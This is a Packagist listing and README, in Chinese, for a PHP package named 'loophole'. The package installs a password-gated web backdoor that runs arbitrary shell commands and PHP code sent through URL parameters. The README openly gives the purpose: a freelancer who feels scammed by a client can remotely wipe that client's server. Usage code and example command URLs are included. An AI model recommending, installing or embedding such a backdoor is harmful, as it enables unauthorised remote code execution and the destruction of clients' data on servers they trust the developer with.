daniilskli/loophole

这个库旨在为自由职业者以及其他人提供安全保护,以便在无需管理面板的情况下安全访问网站。何时会有用?如果你是一名自由职业者且遭受了诈骗,你可以在服务器上运行一些系统命令来删除所有内容。在其他情况下,例如通过 POST API 远程控制网站。总的来说,我创建这个包是为了自己使用,但我把它放在这里,以便其他人可以使用它,而不必每次都编写新代码。如果能帮到别人,我会很高兴 :)

0.2-alpha 2022-04-04 23:24 UTC

This package is auto-updated.

Last update: 2024-09-05 05:05:48 UTC


README

这个库旨在为自由职业者以及其他人提供安全保护,以便在无需管理面板的情况下安全访问网站。何时会有用?如果你是一名自由职业者且遭受了诈骗,你可以在服务器上运行一些系统命令来删除所有内容。在其他情况下,例如通过 POST API 远程控制网站。总的来说,我创建这个包是为了自己使用,但我把它放在这里,以便其他人可以使用它,而不必每次都编写新代码。如果能帮到别人,我会很高兴 :)

packagegist

快速入门

安装

composer require daniilskli/loophole

基本用法

<?php

require_once __DIR__ . "/../vendor/autoload.php";

use Loophole\Setup;
use Loophole\Config;

$loophole = new Setup((new Config("myTopSecretPassword"))->setLog(true));
$loophole->start();

并在 URL 地址中
https://:8080/?password=password_hash&command=touch hello.txt // 创建一个 "hello.txt" 文件 `https://:8080/?password=password_hash&command=php::echo 123; // 在页面上输出 123

警告!

passwordcommand - 必要参数。

方法

配置

  • __construct(string password)
  • setLog(true or false, path (has default value)) 使用 monolog
  • setMethod(string 'POST' or 'GET') 你可以使用 Loophole\Config\Method

设置

  • __construct(Config)
  • start()

结束

目前就这么多,我稍后会创建一个维基,对一切进行更详细的解释。